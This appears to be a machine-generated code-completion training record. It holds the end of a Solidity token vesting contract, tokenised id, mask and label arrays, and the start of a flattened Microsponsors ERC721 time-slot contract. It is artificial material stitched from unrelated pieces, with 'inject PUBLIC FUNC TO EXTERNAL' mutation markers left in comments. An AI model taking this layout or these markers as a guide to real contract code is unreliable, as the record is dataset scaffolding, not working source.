return (_account.vestingTokens * elapsed) / duration;
}
// ============ Write Methods ============
/**
* @dev Pauses all token transfers.
*/
function pause() public virtual onlyRole(PAUSER_ROLE) {
_pause();
}
/**
* @dev Release the tokens that have already vested.
*
* Emits a {TokensReleased} event.
*/
function release() public virtual nonReentrant {
require(!paused(), "Releasing while paused");
//wait for tge
require(tokenGeneratedEvent > 0, "Token generation event not triggered yet");
address beneficiary = _msgSender();
//releasable calc by total releaseable amount - amount already released
uint256 releasable = totalReleasableAmount(beneficiary, uint64(block.timestamp));
require(releasable > 0, "No tokens releasable");
//already account for the new tokens
accounts[beneficiary].releasedTokens += releasable;
//next mint tokens
address(AOD).functionCall(
abi.encodeWithSelector(
AOD.mint.selector,
beneficiary,
releasable
),
"Low-level mint failed"
);
//unlocked tokens are now unlocked
accounts[beneficiary].unlocked = true;
//finally emit released
emit ERC20Released(address(AOD), releasable);
}
/**
* @dev Triggers the TGE
*/
function trigger(uint64 timestamp) public virtual onlyRole(DEFAULT_ADMIN_ROLE)
{
require(
tokenGeneratedEvent == 0,
"Token generation event already triggered"
);
require(timestamp <= VESTED_DATE, "Timestamp out of bounds");
tokenGeneratedEvent = timestamp;
}
/**
* @dev Unpauses all token transfers.
*/
function unpause() public virtual onlyRole(PAUSER_ROLE) {
_unpause();
}
/**
* @dev Allow an admin to manually vest a `beneficiary` for an `amount`
*/
function vest(address beneficiary, uint256 aodAmount)
public virtual onlyRole(DEFAULT_ADMIN_ROLE)
{
//check if vested
require(!accounts[beneficiary].active, "Beneficiary already vested");
//check if aodAmount
require(aodAmount > 0, "AOD amount missing");
//calc new allocation
uint256 newAllocation = currentlyAllocated + aodAmount;
//calc max tokens that can be allocated
uint256 maxAllocation = TOTAL_POSSIBLE_LOCKED_TOKENS + TOTAL_POSSIBLE_VESTED_TOKENS;
require(newAllocation <= maxAllocation, "Amount exceeds the available allocation");
//split the AOD amount by 10%
uint256 lockedTokens = aodAmount * 1 ether / 10 ether;
uint256 vestingTokens = aodAmount * 9 ether / 10 ether;
//now add the account
accounts[beneficiary] = Account(
lockedTokens,
vestingTokens,
0, false, true
);
//add amount to the allocated
currentlyAllocated += aodAmount;
}
// ============ Emergency Methods ============
/**
* @dev This contract should not hold any funds in the first place.
* This method exists to transfer out stuck funds.
*/
function emergencyTransfer(address to, uint256 amount)
external virtual onlyRole(DEFAULT_ADMIN_ROLE)
{
Address.sendValue(payable(to), amount);
}
/**
* @dev This contract should not hold any funds in the first place.
* This method exists to transfer out stuck funds.
*/
function emergencyERC20Transfer(address erc20, address to, uint256 amount)
external virtual onlyRole(DEFAULT_ADMIN_ROLE)
{
SafeERC20.safeTransfer(IERC20(erc20), to, amount);
}
} | * @dev This contract should not hold any funds in the first place. This method exists to transfer out stuck funds./ | function emergencyERC20Transfer(address erc20, address to, uint256 amount)
external virtual onlyRole(DEFAULT_ADMIN_ROLE)
{
SafeERC20.safeTransfer(IERC20(erc20), to, amount);
}
| 5,535,855 | [
1,
2503,
6835,
1410,
486,
6887,
1281,
284,
19156,
316,
326,
1122,
3166,
18,
1220,
707,
1704,
358,
7412,
596,
384,
9031,
284,
19156,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
801,
24530,
654,
39,
3462,
5912,
12,
2867,
6445,
71,
3462,
16,
1758,
358,
16,
2254,
5034,
3844,
13,
7010,
565,
3903,
5024,
1338,
2996,
12,
5280,
67,
15468,
67,
16256,
13,
203,
225,
288,
203,
565,
14060,
654,
39,
3462,
18,
4626,
5912,
12,
45,
654,
39,
3462,
12,
12610,
3462,
3631,
358,
16,
3844,
1769,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2020-07-08
*/
// File: contracts/IERC165.sol
pragma solidity ^0.5.11;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts/IERC721.sol
pragma solidity ^0.5.11;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed tokenOwner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed tokenOwner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address tokenOwner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address tokenOwner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address tokenOwner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
// File: contracts/IERC721Receiver.sol
pragma solidity ^0.5.11;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a {IERC721-safeTransferFrom}. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
// File: contracts/SafeMath.sol
pragma solidity ^0.5.11;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/Address.sol
pragma solidity ^0.5.11;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
// File: contracts/Counters.sol
pragma solidity ^0.5.11;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// File: contracts/ERC165.sol
pragma solidity ^0.5.11;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view returns (bool) { //inject PUBLIC FUNC TO EXTERNAL
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: contracts/ERC721.sol
pragma solidity ^0.5.11;
pragma experimental ABIEncoderV2;
/**
* @title ERC721 Customized for Microsponsors from:
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721MetadataMintable.sol
*/
/**
* @title Deployed Microsponsors Registry smart contract interface.
* @dev We just use the signatures of the parts we need to interact with:
*/
contract DeployedRegistry {
function isContentIdRegisteredToCaller(uint32 federationId, string memory contentId) public view returns(bool);
function isMinter(uint32 federationId, address account) public view returns (bool);
function isAuthorizedTransferFrom(uint32 federationId, address from, address to, uint256 tokenId, address minter, address owner) public view returns(bool);
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
/*** Contract data ***/
/// @dev owner1, owner2 Admins of this contract.
address public owner1;
address public owner2;
/// @dev paused Admin only. Set to `true` to stop token minting and transfers.
bool public paused = false;
/// @dev mintFee Admin only. Set minting fee; default fee is below (in wei).
uint256 public mintFee = 100000000000000;
/// @dev DeployedRegistry The Microsponsors Registry Contract that verifies participants.
/// Admin can update the contract address here to upgrade Registry.
DeployedRegistry public registry;
/// @title _tokenIds All Token IDs minted, incremented starting at 1
Counters.Counter _tokenIds;
/// @dev _tokenOwner mapping from Token ID to Token Owner
mapping (uint256 => address) private _tokenOwner;
/// @dev _ownedTokensCount mapping from Token Owner to # of owned tokens
mapping (address => Counters.Counter) private _ownedTokensCount;
/// @dev _mintedTokensCount mapping from Token Minter to # of minted tokens
mapping (address => Counters.Counter) private _mintedTokensCount;
/// @dev tokenToFederationId see notes on path to federation in Microsponsors Registry contract
mapping (uint256 => uint32) public tokenToFederationId;
/// @dev TimeSlot metadata struct for each token
/// TimeSlots timestamps are stored as uint48:
/// https://medium.com/@novablitz/storing-structs-is-costing-you-gas-774da988895e
struct TimeSlot {
address minter; // the address of the user who mint()'ed this time slot
string contentId; // the users' registered contentId containing the Property
string propertyName; // describes the Property within the contentId that is tokenized into time slots
uint48 startTime; // min timestamp (when time slot begins)
uint48 endTime; // max timestamp (when time slot ends)
uint48 auctionEndTime; // max timestamp (when auction for time slot ends)
uint16 category; // integer that represents the category (see Microsponsors utils.js)
bool isSecondaryTradingEnabled; // if true, first buyer can trade to others
}
/// @dev _tokenToTimeSlot mapping from Token ID to TimeSlot struct
/// Use tokenTimeSlot() public method to read
mapping(uint256 => TimeSlot) private _tokenToTimeSlot;
/// @dev PropertyNameStruct: name of the time slot
struct PropertyNameStruct {
string propertyName;
}
/// @dev _tokenMinterToPropertyName mapping from Minter => Content ID => array of Property Names
/// Used to display all tokenized Time Slots on a given Property.
/// Using struct because there is no mapping to a dynamic array of bytes32 in Solidity at this time.
mapping(address => mapping(string => PropertyNameStruct[])) private _tokenMinterToPropertyNames;
/// @dev ContentIdStruct The registered Content ID, verified by Registry contract
struct ContentIdStruct {
string contentId;
}
/// @dev _tokenMinterToContentIds Mapping from Token Minter to array of Content IDs
/// that they have *ever* minted tokens for
mapping(address => ContentIdStruct[]) private _tokenMinterToContentIds;
/// @dev _tokenURIs Mapping from Token ID to Token URIs
mapping(uint256 => string) private _tokenURIs;
/// @dev _tokenApprovals Mapping from Token ID to Approved Address
mapping (uint256 => address) private _tokenApprovals;
/// @dev _operatorApprovals Mapping from Token Owner to Operator Approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
// @dev Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
constructor () public {
// Register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
// Set the contract owners to msg.sender by default
owner1 = _msgSender();
owner2 = _msgSender();
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they not should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*/
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode -
// see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
/*** Owner (Administrator) functions ***/
/**
* @dev Sets the contract's owner (administrator)
* Based on 0x's Ownable, but modified here
*/
modifier onlyOwner() {
require(
(_msgSender() == owner1) || (_msgSender() == owner2),
"ONLY_CONTRACT_OWNER"
);
_;
}
/**
* @dev Transfer owner (admin) functions to another address
* @param newOwner Address of new owner/ admin of contract
*/
function transferOwnership1(address newOwner)
public
onlyOwner
{
if (newOwner != address(0)) {
owner1 = newOwner;
}
}
function transferOwnership2(address newOwner)
public
onlyOwner
{
if (newOwner != address(0)) {
owner2 = newOwner;
}
}
/**
* @dev Update contract address for Microsponsors Registry contract
* @param newAddress where the Registry contract lives
*/
function updateRegistryAddress(address newAddress)
public
onlyOwner
{
registry = DeployedRegistry(newAddress);
}
/**
* @dev Update the fee (in wei) charged for minting a single token
*/
function updateMintFee(uint256 val)
public
onlyOwner
{
mintFee = val;
}
/// @dev Pausable (adapted from OpenZeppelin via Cryptokitties)
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by contract owner to pause minting and transfers.
function pause() public onlyOwner whenNotPaused {
paused = true;
}
/// @dev Called by contract owner to unpause minting and transfers.
function unpause() public onlyOwner whenPaused {
paused = false;
}
/// @dev Admin withdraws entire balance from contract.
function withdrawBalance() public onlyOwner { //inject PUBLIC FUNC TO EXTERNAL
// Ref: https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/
uint balance = address(this).balance;
(bool success, ) = msg.sender.call.value(balance)("");
require(success, "WITHDRAW_FAILED");
}
/*** Minting tokens ***/
/**
* @dev Function to mint tokens.
* @return tokenId
*/
function mint(
string memory contentId,
string memory propertyName,
uint48 startTime,
uint48 endTime,
uint48 auctionEndTime,
uint16 category,
bool isSecondaryTradingEnabled,
uint32 federationId
)
public
payable
whenNotPaused
returns (uint256)
{
require(msg.value >= mintFee);
require(federationId > 0, "INVALID_FEDERATION_ID");
require(
registry.isMinter(federationId, _msgSender()),
"CALLER_NOT_AUTHORIZED_FOR_MINTER_ROLE"
);
require(
_isValidTimeSlot(contentId, startTime, endTime, auctionEndTime, federationId),
"INVALID_TIME_SLOT"
);
uint256 tokenId = _mint(_msgSender());
_setTokenTimeSlot(tokenId, contentId, propertyName, startTime, endTime, auctionEndTime, category, isSecondaryTradingEnabled);
tokenToFederationId[tokenId] = federationId;
return tokenId;
}
/**
* @dev Function to mint tokens.
* @param tokenURI The token URI of the minted token.
* @return tokenId
*/
function mintWithTokenURI(
string memory contentId,
string memory propertyName,
uint48 startTime,
uint48 endTime,
uint48 auctionEndTime,
uint16 category,
bool isSecondaryTradingEnabled,
uint32 federationId,
string memory tokenURI
)
public
payable
whenNotPaused
returns (uint256)
{
require(msg.value >= mintFee);
require(federationId > 0, "INVALID_FEDERATION_ID");
require(
registry.isMinter(federationId, _msgSender()),
"CALLER_NOT_AUTHORIZED_FOR_MINTER_ROLE"
);
require(
_isValidTimeSlot(contentId, startTime, endTime, auctionEndTime, federationId),
"INVALID_TIME_SLOT"
);
uint256 tokenId = _mint(_msgSender());
_setTokenTimeSlot(tokenId, contentId, propertyName, startTime, endTime, auctionEndTime, category, isSecondaryTradingEnabled);
_setTokenURI(tokenId, tokenURI);
tokenToFederationId[tokenId] = federationId;
return tokenId;
}
/**
* @dev Function to safely mint tokens.
* @return tokenId
*/
function safeMint(
string memory contentId,
string memory propertyName,
uint48 startTime,
uint48 endTime,
uint48 auctionEndTime,
uint16 category,
bool isSecondaryTradingEnabled,
uint32 federationId
)
public
payable
whenNotPaused
returns (uint256)
{
require(msg.value >= mintFee);
require(federationId > 0, "INVALID_FEDERATION_ID");
require(
registry.isMinter(federationId, _msgSender()),
"CALLER_NOT_AUTHORIZED_FOR_MINTER_ROLE"
);
require(
_isValidTimeSlot(contentId, startTime, endTime, auctionEndTime, federationId),
"INVALID_TIME_SLOT"
);
uint256 tokenId = _safeMint(_msgSender());
_setTokenTimeSlot(tokenId, contentId, propertyName, startTime, endTime, auctionEndTime, category, isSecondaryTradingEnabled);
tokenToFederationId[tokenId] = federationId;
return tokenId;
}
/**
* @dev Function to safely mint tokens.
* @param data bytes data to send along with a safe transfer check.
* @return tokenId
*/
function safeMint(
string memory contentId,
string memory propertyName,
uint48 startTime,
uint48 endTime,
uint48 auctionEndTime,
uint16 category,
bool isSecondaryTradingEnabled,
uint32 federationId,
bytes memory data
)
public
payable
whenNotPaused
returns (uint256)
{
require(msg.value >= mintFee);
require(federationId > 0, "INVALID_FEDERATION_ID");
require(
registry.isMinter(federationId, _msgSender()),
"CALLER_NOT_AUTHORIZED_FOR_MINTER_ROLE"
);
require(
_isValidTimeSlot(contentId, startTime, endTime, auctionEndTime, federationId),
"INVALID_TIME_SLOT"
);
uint256 tokenId = _safeMint(_msgSender(), data);
_setTokenTimeSlot(tokenId, contentId, propertyName, startTime, endTime, auctionEndTime, category, isSecondaryTradingEnabled);
tokenToFederationId[tokenId] = federationId;
return tokenId;
}
/**
* @param tokenURI The token URI of the minted token.
* @return tokenId
*/
function safeMintWithTokenURI(
string memory contentId,
string memory propertyName,
uint48 startTime,
uint48 endTime,
uint48 auctionEndTime,
uint16 category,
bool isSecondaryTradingEnabled,
uint32 federationId,
string memory tokenURI
)
public
payable
whenNotPaused
returns (uint256)
{
require(msg.value >= mintFee);
require(federationId > 0, "INVALID_FEDERATION_ID");
require(
registry.isMinter(federationId, _msgSender()),
"CALLER_NOT_AUTHORIZED_FOR_MINTER_ROLE"
);
require(
_isValidTimeSlot(contentId, startTime, endTime, auctionEndTime, federationId),
"INVALID_TIME_SLOT"
);
uint256 tokenId = _safeMint(_msgSender());
_setTokenTimeSlot(tokenId, contentId, propertyName, startTime, endTime, auctionEndTime, category, isSecondaryTradingEnabled);
_setTokenURI(tokenId, tokenURI);
tokenToFederationId[tokenId] = federationId;
return tokenId;
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @return tokenId
*/
function _safeMint(address to) internal returns (uint256) {
uint256 tokenId = _safeMint(to, "");
return tokenId;
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param data bytes data to send along with a safe transfer check
* @return tokenId
*/
function _safeMint(address to, bytes memory data) internal returns (uint256) {
uint256 tokenId = _mint(to);
require(
_checkOnERC721Received(address(0), to, tokenId, data),
"TRANSFER_TO_NON_ERC721RECEIVER_IMPLEMENTER"
);
return tokenId;
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
*/
function _mint(address to) internal returns (uint256) {
require(to != address(0), "MINT_TO_ZERO_ADDRESS");
_tokenIds.increment();
uint256 tokenId = _tokenIds.current();
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
